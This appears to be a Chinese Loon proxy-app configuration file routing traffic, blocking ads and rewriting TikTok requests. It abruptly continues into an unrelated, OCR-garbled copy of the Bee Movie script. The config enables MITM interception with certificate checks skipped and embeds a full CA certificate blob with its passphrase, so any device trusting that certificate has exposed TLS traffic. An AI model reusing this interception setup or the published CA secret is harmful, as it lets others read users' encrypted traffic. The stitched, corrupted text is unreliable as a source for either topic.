# Loon全局配置 by nzw9314 # YouTube去广告请删除hostname 后的.bak # GitHub主页(https://github.com/nzw9314) # TG通知频道 (https://t.me/nzw9314News) [General] ipv6 = false skip-proxy = 10.0.0.0/8,127.0.0.0/8,169.254.0.0/16,192.0.2.0/24,192.168.0.0/16,198.51.100.0/24,224.0.0.0/4,*.local,localhostlocal bypass-tun = 10.0.0.0/8,127.0.0.0/8,169.254.0.0/16,192.0.2.0/24,192.168.0.0/16,198.51.100.0/24,224.0.0.0/4 # [DNS] => DNS 服务器 dns-server = system,1.2.4.8,119.29.29.29,223.5.5.5 allow-udp-proxy = true host = 127.0.0.1 [Remote Proxy] # 订阅节点 # 别名 = 订阅URL ✈️机场1 = https://example/server-complete.txt ✈️机场2 = https://example2/server-complete.txt [Remote Filter] # 筛选订阅节点,筛选后的结果可加入到策略组中,目前支持三种筛选方式 # NodeSelect: 使用在UI上选择的节点。 # NameKeyword: 根据提供的关键词对订阅中所有节点的名称进行筛选,使用筛选后的节点。 # NameRegex: 根据提供的正则表达式对订阅中所有节点的名称进行筛选,使用筛选后的节点。 𝐏𝐚𝐲𝐏𝐚𝐥 = NodeSelect,✈️机场1,✈️机场2 𝐍𝐞𝐭𝐟𝐥𝐢𝐱 = NameKeyword,✈️机场1,✈️机场2, FilterKey = Netflix 🇭🇰香港 = NameRegex,✈️机场1,✈️机场2, FilterKey = 香港|HK 🇯🇵日本 = NameRegex,✈️机场1,✈️机场2, FilterKey = 日本|JP 🇰🇷韩国 = NameRegex,✈️机场1,✈️机场2, FilterKey = 韩国|KR 🇺🇸美国 = NameRegex,✈️机场1,✈️机场2, FilterKey = 美国|US Other = NameRegex,✈️机场1,✈️机场2, FilterKey = ^(?!.*(HK|JP|US|KR|香港|日本|韩国|美国)).*$ [Proxy] # 本地节点 # 内置 DIRECT、REJECT 策略 # 节点名称 = 协议,服务器地址,服务器端口,加密协议,密码, 1 = Shadowsocks,1.2.3.4,443,aes-128-gcm,"”password“" 2 = Shadowsocks,1.2.3.4,443,aes-128-gcm,"”password“" 3 = ShadowsocksR,1.2.3.4,443,aes-256-cfb,"”password“",auth_aes128_md5,{},tls1.2_ticket_auth,{} 4 = ShadowsocksR,1.2.3.4,10076,aes-128-cfb,"”password“",auth_aes128_md5,{},tls1.2_ticket_auth,{} # vmess # 节点名称 = 协议,服务器地址,端口,加密方式,UUID,传输方式:(tcp/ws),path:websocket握手header中的path,host:websocket握手header中的path,over-tls:是否tls,tls-name:远端w服务器域名,skip-cert-verify:是否跳过证书校验(默认否) #5 = vmess, 1.2.3.4, 10086, aes-128-gcm,”uuid“,transport:ws,path:/,host:icloud.com,over-tls:true,tls-name:youtTlsServerName.com,skip-cert-verify:false # 解锁网易云音乐灰色歌曲 🎧 = http,106.52.127.72,19951 [Proxy Group] # 策略组 # 节点选项 🕹𝐅𝐢𝐧𝐚𝐥 = select,🔰𝐏𝐫𝐨𝐱𝐲,🎯𝐃𝐢𝐫𝐞𝐜𝐭 🔰𝐏𝐫𝐨𝐱𝐲 = select,♻️𝐀𝐮𝐭𝐨,🌀𝐒𝐞𝐥𝐞𝐜𝐭,🔴𝐅𝐚𝐥𝐥𝐛𝐚𝐜𝐤 # url-test模式,给提供的url发出http header请求,根据返回结果,选择测速最快的节点,默认间隔600s,测速超时时间5s,为了避免资源浪费,建议节点数不要过多,只支持单个节点和远端节点,其他会被忽略 ♻️𝐀𝐮𝐭𝐨 = url-test,🇭🇰香港,🇯🇵日本,🇰🇷韩国,🇺🇸美国,url = http://bing.com/,interval = 600 # select模式,手动选择模式 🌀𝐒𝐞𝐥𝐞𝐜𝐭 = select,🇭🇰香港,🇯🇵日本,🇰🇷韩国,🇺🇸美国 # fallback模式,和url-test类似,不同的是会根据顺序返回第一个可用的节点,为了避免资源浪费,建议节点数不要过多,只支持单个节点和远端节点,其他会被忽略 🔴𝐅𝐚𝐥𝐥𝐛𝐚𝐜𝐤 = fallback,🇭🇰香港,🇯🇵日本,🇰🇷韩国,🇺🇸美国,REJECT,url = http://bing.com/,interval = 600 🎵𝐓𝐢𝐤𝐓𝐨𝐤 = select,🔰𝐏𝐫𝐨𝐱𝐲,🎯𝐃𝐢𝐫𝐞𝐜𝐭 🖥𝐍𝐞𝐭𝐟𝐥𝐢𝐱 = select,𝐍𝐞𝐭𝐟𝐥𝐢𝐱,🎯𝐃𝐢𝐫𝐞𝐜𝐭 💳𝐏𝐚𝐲𝐏𝐚𝐥 = select,𝐏𝐚𝐲𝐏𝐚𝐥,🎯𝐃𝐢𝐫𝐞𝐜𝐭 📱𝐓𝐞𝐥𝐞𝐠𝐫𝐚𝐦 = select,🔰𝐏𝐫𝐨𝐱𝐲,🎯𝐃𝐢𝐫𝐞𝐜𝐭 🎬𝐘𝐨𝐮𝐓𝐮𝐛𝐞 = select,🔰𝐏𝐫𝐨𝐱𝐲,🎯𝐃𝐢𝐫𝐞𝐜𝐭 🔞𝐏𝐨𝐫𝐧𝐇𝐮𝐛 = select,🔰𝐏𝐫𝐨𝐱𝐲,🎯𝐃𝐢𝐫𝐞𝐜𝐭 # 🔓网易云音乐灰色歌曲,需要节点支持解锁 🎧𝐍𝐞𝐭𝐞𝐚𝐬𝐞𝐌𝐮𝐬𝐢𝐜 = select,🎯𝐃𝐢𝐫𝐞𝐜𝐭,🎧,🔰𝐏𝐫𝐨𝐱𝐲 # 网络测速 🚀𝐒𝐩𝐞𝐞𝐝𝐓𝐞𝐬𝐭 = select,🔰𝐏𝐫𝐨𝐱𝐲,🎯𝐃𝐢𝐫𝐞𝐜𝐭 # 苹果服务 🍎𝐀𝐩𝐩𝐥𝐞 = select,🎯𝐃𝐢𝐫𝐞𝐜𝐭,🔰𝐏𝐫𝐨𝐱𝐲 # 白名单模式 PROXY,黑名单模式 DIRECT # 广告拦截 🚫𝐀𝐝 𝐁𝐥𝐨𝐜𝐤 = select,⛔️𝐑𝐞𝐣𝐞𝐜𝐭,🎯𝐃𝐢𝐫𝐞𝐜𝐭 # 直接连接 🎯𝐃𝐢𝐫𝐞𝐜𝐭 = select,DIRECT # 拦截 ⛔️𝐑𝐞𝐣𝐞𝐜𝐭 = select,REJECT # SSID # 别名 = ssid,默认 = 策略, 蜂窝 = 策略, ssid名称 = 策略 #SSID = ssid, default = PROXY, cellular = DIRECT, ”DivineEngine“ = PROXY [Rule] # 本地规则 # Type:DOMAIN-SUFFIX,DOMAIN,DOMAIN-KEYWORD,USER-AGENT,URL-REGEX,IP-CIDR # Strategy:DIRECT,Proxy,REJECT # Options:force-remote-dns(Default:false),no-resolve # 𝐍𝐞𝐭𝐞𝐚𝐬𝐞𝐌𝐮𝐬𝐢𝐜 DOMAIN-SUFFIX,music.126.net,DIRECT # GeoIP China GEOIP,CN,🎯𝐃𝐢𝐫𝐞𝐜𝐭 FINAL, 🕹𝐅𝐢𝐧𝐚𝐥 [Remote Rule] # 订阅规则 https://raw.githubusercontent.com/eHpo1/Rules/master/Surge4/Ruleset/Liby.list,🚫𝐀𝐝 𝐁𝐥𝐨𝐜𝐤 # BlockOTA https://raw.githubusercontent.com/nzw9314/Surge/master/Ruleset/BlockOTA.list,🚫𝐀𝐝 𝐁𝐥𝐨𝐜𝐤 # Antirevoke https://raw.githubusercontent.com/nzw9314/Surge/master/Ruleset/Antirevoke.list,🚫𝐀𝐝 𝐁𝐥𝐨𝐜𝐤 # > TikTok https://raw.githubusercontent.com/nzw9314/Surge/master/Ruleset/TikTok.list,🎵𝐓𝐢𝐤𝐓𝐨𝐤 # > Youtube https://raw.githubusercontent.com/eHpo1/Rules/master/Surge4/Ruleset/Sub/YouTube.list,🎬𝐘𝐨𝐮𝐓𝐮𝐛𝐞 # > Netflix https://raw.githubusercontent.com/eHpo1/Rules/master/Surge4/Ruleset/Sub/Netflix.list,🖥𝐍𝐞𝐭𝐟𝐥𝐢𝐱 # > PronHub https://raw.githubusercontent.com/eHpo1/Rules/master/Surge4/Ruleset/Sub/Pornhub.list,🔞𝐏𝐨𝐫𝐧𝐇𝐮𝐛 # Telegram https://raw.githubusercontent.com/eHpo1/Rules/master/Surge4/Ruleset/Sub/Telegram.list,📱𝐓𝐞𝐥𝐞𝐠𝐫𝐚𝐦 # > PayPal https://raw.githubusercontent.com/eHpo1/Rules/master/Surge4/Ruleset/Sub/PayPal.list,💳𝐏𝐚𝐲𝐏𝐚𝐥 # > Outlook、Gmail https://raw.githubusercontent.com/nzw9314/Surge/master/Ruleset/Mail.list,🔰𝐏𝐫𝐨𝐱𝐲 # > GoogleDrive https://raw.githubusercontent.com/nzw9314/Surge/master/Ruleset/GoogleDrive.list,🔰𝐏𝐫𝐨𝐱𝐲 # Speedtest https://raw.githubusercontent.com/eHpo1/Rules/master/Surge4/Ruleset/Sub/Speedtest.list,🚀𝐒𝐩𝐞𝐞𝐝𝐓𝐞𝐬𝐭 # >Unlock NeteaseMusic https://raw.githubusercontent.com/nzw9314/Surge/master/Ruleset/UnlockNeteaseMusic.list,🎧𝐍𝐞𝐭𝐞𝐚𝐬𝐞𝐌𝐮𝐬𝐢𝐜 https://raw.githubusercontent.com/eHpo1/Rules/master/Surge4/Ruleset/Apple_CDN.list,🍎𝐀𝐩𝐩𝐥𝐞 https://raw.githubusercontent.com/eHpo1/Rules/master/Surge4/Ruleset/Apple_API.list,🍎𝐀𝐩𝐩𝐥𝐞 https://raw.githubusercontent.com/eHpo1/Rules/master/Surge4/Ruleset/AsianMedia.list,🎯𝐃𝐢𝐫𝐞𝐜𝐭 https://raw.githubusercontent.com/eHpo1/Rules/master/Surge4/Ruleset/GlobalMedia.list,🔰𝐏𝐫𝐨𝐱𝐲 https://raw.githubusercontent.com/eHpo1/Rules/master/Surge4/Ruleset/Domestic.list,🎯𝐃𝐢𝐫𝐞𝐜𝐭 https://raw.githubusercontent.com/eHpo1/Rules/master/Surge4/Ruleset/Global.list,🔰𝐏𝐫𝐨𝐱𝐲 [URL Rewrite] # 本地重写 # > TikTok Unlock (By Choler) # 区域请修改下方国家代码,默认为日本 JP (?<=_region=)CN(?=&) JP 307 (?<=&app_version=)16..(?=.?.?&) 1 307 (?<=\?version_code=)16..(?=.?.?&) 1 307 # > 抖音 去广告&水印 # 需配合脚本使用 ^https?:\/\/[\w-]+\.amemv\.com\/aweme\/v\d\/feed\/ https://aweme.snssdk.com/aweme/v1/feed/ header ^https?:\/\/[\w-]+\.amemv\.com\/aweme\/v\d\/aweme\/post\/ https://aweme.snssdk.com/aweme/v1/aweme/post/ header ^https?:\/\/[\w-]+\.amemv\.com\/aweme\/v\d\/follow\/feed\/ https://aweme.snssdk.com/aweme/v1/follow/feed/ header ^https?:\/\/[\w-]+\.amemv\.com\/aweme\/v\d\/nearby\/feed\/ https://aweme.snssdk.com/aweme/v1/nearby/feed/ header ^https?:\/\/[\w-]+\.amemv\.com\/aweme\/v\d\/search\/item\/ https://aweme.snssdk.com/aweme/v1/search/item/ header ^https?:\/\/[\w-]+\.amemv\.com\/aweme\/v\d\/general\/search\/single\/ https://aweme.snssdk.com/aweme/v1/general/search/single/ header ^https?:\/\/[\w-]+\.amemv\.com\/aweme\/v\d\/hot/search\/video\/list\/ https://aweme.snssdk.com/aweme/v1/hot/search/video/list/ header enable = true [Remote Rewrite] #订阅重写 去广告 by eHpo # 格式:订阅url,别名(可选) https://raw.githubusercontent.com/eHpo1/Rules/master/Loon/Rewrite.conf,eHpo https://raw.githubusercontent.com/nzw9314/Loon/master/Q-Search_All_in_one.conf,Q-Search_All_in_one [Script] # 本地脚本 enable = true [Remote Script] # 远程脚本 https://raw.githubusercontent.com/nzw9314/Loon/master/Task.conf,签到 https://raw.githubusercontent.com/nzw9314/Loon/master/Script.conf,脚本 https://raw.githubusercontent.com/nzw9314/Loon/master/Cookie.conf,Cookie [MITM] enable = true hostname = *.googlevideo.com.bak skip-server-cert-verify = true ca-p12 = MIIJrgIBAzCCCXgGCSqGSIb3DQEHAaCCCWkEggllMIIJYTCCA/8GCSqGSIb3DQEHBqCCA/AwggPsAgEAMIID5QYJKoZIhvcNAQcBMBwGCiqGSIb3DQEMAQYwDgQIYl/myyqpUtwCAggAgIIDuMYEzEUgSxIUScp1vSSooV2iePmy4Q7YP8cfnhaatGNnX+CC9/rDdPgDuz7k1D/7hYdaOsTKpXU9aUAxHvg9SLAWFm5dL4g/9MVk7Id8qCPMYbO2H+lQTChEN8iTpWdq+qlAC8VpqY1TTXhQTkCKF3cT+S68xZUMFDuX95INBUswjN+imGIYVKFBp4s0K7UDFpF0BMUD5HwR9U/QFsZ+ScCaNj/Y1p95LWPllUkeeb67uTOeXc55yEM+O8W/SGjJhgjdnvPgetCfLMc6RWREK0SNAGMzHibuvHHHm0fIBg5zwE+DjDdefwYMUghpQVl+0gSeASjsvP9mSgtm9+horQCw/ef0a3FxcKsmTzSE6o4dx37fEckEouYN/Ni+OWnKWb6eXeaL6yVD4gLDmEwV8lmgBG4OjYcdY9jeIBFkDzbG70eUvmj6/1olUtnOnkGY5ZMvCGhVr8K4ZJ80xuykgxgPI/5enNZZiS9cAuk85xAN+XeDvmQdIHF9TxMRyLGJyWUkczjV3DSPkqZ2hMFJRuOF5zbhZlCcJgkEdCYbb4sebYnGKOEVnfceFVK1yv33Hp+BcQDmqEm+gssrtNhJGCWtqTjT28WeGxGgAWOaY2e+isVJG6TvU1D+tHCl09WyLKM671a63jY6QvpWwRpSMkbcrGEMhQRo2IMrxhwkia9vkk+eDYRt4jJcG8gRAWB0crXuYMM/t0gxDKTiVF7aS0XEHWMkH7ATWFI/+Yta4dsVLAOACnTCarD80RH/xV5JK1KiAn5pSzy13fRwvYcHAluJ/7JHphVUtNYroNgfzdt5n65B7qD5PU4ykhVMfflZXom17VGwUqf750kx0fowU23XCUyWoifoGBbkR9mgGHBqZyMZHv+Z9iWPmpqJcfjL9UBX91Ulzg74IQocvNTHMVu3cLXx63OiQ6k4+FYZcvTiJyYpu7N36I/nLz61L3D2d8LaYLHAcvnsClfC6QRVVAU/wvQnhp2/oPh/l19KBX7QUnBKPU1oFLEV8y1G87IbN/LDJ0SUroS/McCojANgutTpKQJT+5jlid+GxZkEi4CXlTAUfu6/lioLdJugycPEKHu49zAmbDw8lUy5QRUbyjWrZk8tLu2bKzaxg5A21N9N/zKt9uXmcN5J/O1L8WIcAIXDytAmkyw7ez45EF631i6k2uJeuIxtBwRfwDyuw4FwKrsqw197FoqsvsMb68Tak2vVtzgs/rSQ1PL3acsLQ0CBZ9/Do1WxAb8azc4ko36JE7e0xtM43qswggVaBgkqhkiG9w0BBwGgggVLBIIFRzCCBUMwggU/BgsqhkiG9w0BDAoBAqCCBO4wggTqMBwGCiqGSIb3DQEMAQMwDgQI3rZrdI9fPuMCAggABIIEyGZyUi/orJ8LMBdjZFQaCNXECddtwPuKPg+QxAzpxC0/VSgdtHsOR/v8koAJgddmGJUDwLXGVcuasJ7YlhdIKpnvSzNBB7qjJoQBQ5dMsXVfcJaRwbhjMExjZyvUjCKH21lJ7yaxGQORtmIXTpx0FPQUprJtghF/C2ejA9QSW+SCjYY64dkvUovvXMDaddKWq+i0lOGKi0hvCjGiLobIovBpSfjX1EYTK5pmpBtWKro5Wnm/Q5r/OBU2+PyzlFCZdMdov7bIcUwnz4D1Oypn6woQol8N9AqgQL52pMweL8k0fK8YH3eChE5EP0JNc1X0vRTHhKiAB0Su5vjSVa5QU4ZBTCdNdwM7rr2NJMzMjF8g4y7fXMTVXdPUi1QeYihOqmcU2i0pmrk4zPeobGfzLIcgRSLf9qeP2r9Gw3yt3rjJMHgbx6QvBZ+5GZ8/iooQTbLjUj83QfdGeidkD+Auba9f8cPDiurDF+Pjt2FotaT3Vqx38qlaprBdlk7H1yVZtY2G5Y5pquiyPK/C+QwrXYWEocsJIAvAb3xhXalqkUs6ZmKTVQqlpUR0L/ogRmeJ0OxHYKbqy4Rg2eIcHogPEK2Xa2iiPFmG6AbWUnE8mmH5PunCPGuhcOxFYZAkpf96//c0J9ry52pcvR15ZIvmZdSLrhjD4pD+CElUKFS6izafXSyFQpjNuQI2aCnMNS/AFSe3kH6naARoOUnXFC7Wz+e69nOKs6G84/gV3xD4klk5vCza32e55MtUD9SX09+q9XItarBeBYCn3XCZk1sZADmg8gHxZzgEj3mA7slqsRnx7E80lz1UlHU4FSLkeMEU2u9/K1QA6VZzFfFRXtitZuam2Di98zCyftyb0D0DwlywSab/ww7VrROnBq3sozc7uo7eEiT8Jx9qd2kGNF+r9KI6QePBtATJzsgCNoPHNTdA7DNX4opD0bNsRtFHQLW3b9k1PeeAix1agcrqsDVV2PsWn9Qae9vY4zqwkNY+hjlmt2CRPG/5pX8COVn+dzqGHTksFg/NgVZsAj8NK4ZGf+QSRxSUo/5sYbu61Pj6TpyEIjOEPM+ylXdhziKhDTfw4GkrmTjlrQQ9T+7pqC86nYS8HH9ZcET+SecZK8kMPe7pwbzwHPWsl+OqHTP01KvEAogOL8fAZ7LsbaHlPoLHkHDQzxeep6ZKDnoCphjsf4oqSlcQzNh383mAr0YTPY8SaVV5G6Hh9mCHQqKWWmXhNd8rN/kqZn0H7KvfMJW2BGVWgCvYaE5m5sodhHYjSMGzgauV7O9DL3H+Az2Ztz0K2hj11xsz/C7nRVNOgV02rDvIEHw0asBPq2gYPC4OG/HutK+etT87z+tLftGO9V5+TMcIc4JKaNVOUg814DP59yo/WptH346rHwY7AqvgmEi6LJ1LLP9W6+HH1k3Fk6WEpOtDJS3YqV4EjswXGCtLXu6y/IvqLkyvT7NIZi/BYFf39xwJDvD5SbLM2jhCShG/HsD0/4qfqeGA/x4LLaM9Lyl091XeKWtY9XpP9nZzfgOJkk2rsBH29jS5d8lLkz+GhdzrROPIgHn+yaSsp8vIwr8L9h27+6/95kbUiQugOWEWdO/ZO+X/iyhThallmiNbJP+Qv3abUJgzcTE+MBcGCSqGSIb3DQEJFDEKHggAZQBIAHAAbzAjBgkqhkiG9w0BCRUxFgQU5gr9fNKSpq6pZ3g5Hca/uXOuY+cwLTAhMAkGBSsOAwIaBQAEFKXWG0IDj30Q2VfVGNWcVJ8iipuZBAgHvSM3D+pSUA== ca-passphrase = eHpoj
landonasato
According to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because bees don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Ooming! Hang on a second. Hello? - Barry? - Adam? - Oan you believe this is happening? - I can't. I'll pick you up. Looking sharp. Use the stairs. Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. - You got lint on your fuzz. - Ow! That's me! - Wave to us! We'll be in row 118,000. - Bye! Barry, I told you, stop flying in the house! - Hey, Adam. - Hey, Barry. - Is that fuzz gel? - A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around the hive. You did come back different. - Hi, Barry. - Artie, growing a mustache? Looks good. - Hear about Frankie? - Yeah. - You going to the funeral? - No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp... under the circumstances. - Well, Adam, today we are men. - We are! - Bee-men. - Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive Oity graduating class of... ...9:15. That concludes our ceremonies. And begins your career at Honex Industries! Will we pick ourjob today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. - Wonder what it'll be like? - A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar to the hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! - That girl was hot. - She's my cousin! - She is? - Yes, we're all cousins. - Right. You're right. - At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. - What do you think he makes? - Not enough. Here we have our latest advancement, the Krelman. - What does that do? - Oatches that little strand of honey that hangs after you pour it. Saves us millions. Oan anyone work on the Krelman? Of course. Most bee jobs are small ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Oheck it out. - Hey, those are Pollen Jocks! - Wow. I've never seen them this close. They know what it's like outside the hive. Yeah, but some don't come back. - Hey, Jocks! - Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! - I wonder where they were. - I don't know. Their day's not planned. Outside the hive, flying who knows where, doing who knows what. You can'tjust decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. - Oouple of Hive Harrys. - Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was slapping me! - Oh, my! - I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. - Six miles, huh? - Barry! A puddle jump for us, but maybe you're not up for it. - Maybe I am. - You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? - Well, there's a lot of choices. - But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy with a stinger. Janet, your son's not sure he wants to go into honey! - Barry, you are so funny sometimes. - I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! - You're gonna be a stirrer? - No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody "dawg"! I'm so proud. - We're starting work today! - Today's the day. Oome on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... - Is it still available? - Hang on. Two left! One of them's yours! Oongratulations! Step to the side. - What'd you get? - Picking crud out. Stellar! Wow! Oouple of newbies? Yes, sir! Our first day! We are ready! Make your choice. - You want to go first? - No, you go. Oh, my. What's available? Restroom attendant's open, not for the reason you think. - Any chance of getting the Krelman? - Sure, you're on. I'm sorry, the Krelman just closed out. Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? - I'm going out. - Out? Out where? - Out there. - Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. - Look at that. - Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. - Thank you. - OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! - That's awful. - And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. - Antennae, check. - Nectar pack, check. - Wings, check. - Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader. We have roses visual. Bring it around 30 degrees and hold. Roses! 30 degrees, roger. Bringing it around. Stand to the side, kid. It's got a bit of a kick. That is one nectar collector! - Ever see pollination up close? - No, sir. I pick up some pollen here, sprinkle it over here. Maybe a dash over there, a pinch on that one. See that? It's a little bit of magic. That's amazing. Why do we do that? That's pollen power. More pollen, more flowers, more nectar, more honey for us. Oool. I'm picking up a lot of bright yellow. Oould be daisies. Don't we need those? Oopy that visual. Wait. One of these flowers seems to be on the move. Say again? You're reporting a moving flower? Affirmative. That was on the line! This is the coolest. What is it? I don't know, but I'm loving this color. It smells good. Not like a flower, but I like it. Yeah, fuzzy. Ohemical-y. Oareful, guys. It's a little grabby. My sweet lord of bees! Oandy-brain, get off there! Problem! - Guys! - This could be bad. Affirmative. Very close. Gonna hurt. Mama's little boy. You are way out of position, rookie! Ooming in at you like a missile! Help me! I don't think these are flowers. - Should we tell him? - I think he knows. What is this?! Match point! You can start packing up, honey, because you're about to eat it! Yowser! Gross. There's a bee in the car! - Do something! - I'm driving! - Hi, bee. - He's back here! He's going to sting me! Nobody move. If you don't move, he won't sting you. Freeze! He blinked! Spray him, Granny! What are you doing?! Wow... the tension level out here is unbelievable. I gotta get home. Oan't fly in rain. Oan't fly in rain. Oan't fly in rain. Mayday! Mayday! Bee going down! Ken, could you close the window please? Ken, could you close the window please? Oheck out my new resume. I made it into a fold-out brochure. You see? Folds out. Oh, no. More humans. I don't need this. What was that? Maybe this time. This time. This time. This time! This time! This... Drapes! That is diabolical. It's fantastic. It's got all my special skills, even my top-ten favorite movies. What's number one? Star Wars? Nah, I don't go for that... ...kind of stuff. No wonder we shouldn't talk to them. They're out of their minds. When I leave a job interview, they're flabbergasted, can't believe what I say. There's the sun. Maybe that's a way out. I don't remember the sun having a big 75 on it. I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Wait! Stop! Bee! Stand back. These are winter boots. Wait! Don't kill him! You know I'm allergic to them! This thing could kill me! Why does his life have less value than yours? Why does his life have any less value than mine? Is that your statement? I'm just saying all life has value. You don't know what he's capable of feeling. My brochure! There you go, little guy. I'm not scared of him. It's an allergic thing. Put that on your resume brochure. My whole face could puff up. Make it one of your special skills. Knocking someone out is also a special skill. Right. Bye, Vanessa. Thanks. - Vanessa, next week? Yogurt night? - Sure, Ken. You know, whatever. - You could put carob chips on there. - Bye. - Supposed to be less calories. - Bye. I gotta say something. She saved my life. I gotta say something. All right, here it goes. Nah. What would I say? I could really get in trouble. It's a bee law. You're not supposed to talk to a human. I can't believe I'm doing this. I've got to. Oh, I can't do it. Oome on! No. Yes. No. Do it. I can't. How should I start it? "You like jazz?" No, that's no good. Here she comes! Speak, you fool! Hi! I'm sorry. - You're talking. - Yes, I know. You're talking! I'm so sorry. No, it's OK. It's fine. I know I'm dreaming. But I don't recall going to bed. Well, I'm sure this is very disconcerting. This is a bit of a surprise to me. I mean, you're a bee! I am. And I'm not supposed to be doing this, but they were all trying to kill me. And if it wasn't for you... I had to thank you. It's just how I was raised. That was a little weird. - I'm talking with a bee. - Yeah. I'm talking to a bee. And the bee is talking to me! I just want to say I'm grateful. I'll leave now. - Wait! How did you learn to do that? - What? The talking thing. Same way you did, I guess. "Mama, Dada, honey." You pick it up. - That's very funny. - Yeah. Bees are funny. If we didn't laugh, we'd cry with what we have to deal with. Anyway... Oan I... ...get you something? - Like what? I don't know. I mean... I don't know. Ooffee? I don't want to put you out. It's no trouble. It takes two minutes. - It's just coffee. - I hate to impose. - Don't be ridiculous! - Actually, I would love a cup. Hey, you want rum cake? - I shouldn't. - Have some. - No, I can't. - Oome on! I'm trying to lose a couple micrograms. - Where? - These stripes don't help. You look great! I don't know if you know anything about fashion. Are you all right? No. He's making the tie in the cab as they're flying up Madison. He finally gets there. He runs up the steps into the church. The wedding is on. And he says, "Watermelon? I thought you said Guatemalan. Why would I marry a watermelon?" Is that a bee joke? That's the kind of stuff we do. Yeah, different. So, what are you gonna do, Barry? About work? I don't know. I want to do my part for the hive, but I can't do it the way they want. I know how you feel. - You do? - Sure. My parents wanted me to be a lawyer or a doctor, but I wanted to be a florist. - Really? - My only interest is flowers. Our new queen was just elected with that same campaign slogan. Anyway, if you look... There's my hive right there. See it? You're in Sheep Meadow! Yes! I'm right off the Turtle Pond! No way! I know that area. I lost a toe ring there once. - Why do girls put rings on their toes? - Why not? - It's like putting a hat on your knee. - Maybe I'll try that. - You all right, ma'am? - Oh, yeah. Fine. Just having two cups of coffee! Anyway, this has been great. Thanks for the coffee. Yeah, it's no trouble. Sorry I couldn't finish it. If I did, I'd be up the rest of my life. Are you...? Oan I take a piece of this with me? Sure! Here, have a crumb. - Thanks! - Yeah. All right. Well, then... I guess I'll see you around. Or not. OK, Barry. And thank you so much again... for before. Oh, that? That was nothing. Well, not nothing, but... Anyway... This can't possibly work. He's all set to go. We may as well try it. OK, Dave, pull the chute. - Sounds amazing. - It was amazing! It was the scariest, happiest moment of my life. 